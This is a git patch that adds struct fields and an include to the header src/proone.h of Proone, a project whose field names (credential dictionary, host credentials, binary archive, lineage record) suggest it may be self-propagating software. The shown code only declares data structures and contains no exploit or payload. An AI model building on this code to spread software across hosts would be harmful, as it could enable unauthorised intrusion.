From eea0a9fbbf1aff1eac1f17914d5c116de98e1d93 Mon Sep 17 00:00:00 2001 From: David Timber Date: Mon, 9 Aug 2021 17:30:18 +1000 Subject: Protocol and build system change ... * Use autoheader * Add --enable-minmem * Add OS code. Bin archive and protocol changed accordingly * Add instance flags in hostinfo frame. Bitfield util added for this * Add org_id in hostinfo for lineage record * SQL schema change: store integer value of hostinfo arch and os * Remove config.c * prne_index_nybin() now sets errno * Instance ids are now preserved for lineage record * Proone: remove arguments after init * Fix bug in prne_htbt_ser_bin_meta(): alloc_len is not checked --- src/proone.h | 5 +++++ 1 file changed, 5 insertions(+) (limited to 'src/proone.h') diff --git a/src/proone.h b/src/proone.h index a53ac9d..0acb17f 100644 --- a/src/proone.h +++ b/src/proone.h @@ -2,6 +2,7 @@ #include "pack.h" #include "resolv.h" #include "cred_dict.h" +#include "bitfield.h" #include #include @@ -33,6 +34,8 @@ struct prne_global { // TODO: tidy init code when finalised prne_rcb_param_t rcb_param; uint8_t *m_dvault; bool is_child; + bool has_ba; + uint8_t flags[prne_bf_get_size(NB_PRNE_IFLAG)]; prne_bin_archive_t bin_archive; prne_cred_dict_t cred_dict; @@ -71,6 +74,8 @@ struct prne_shared_global { char upbin_args[1024]; size_t host_cred_len; uint8_t host_cred_data[255]; + uint8_t instance_id[16]; + uint8_t org_id[16]; }; -- cgit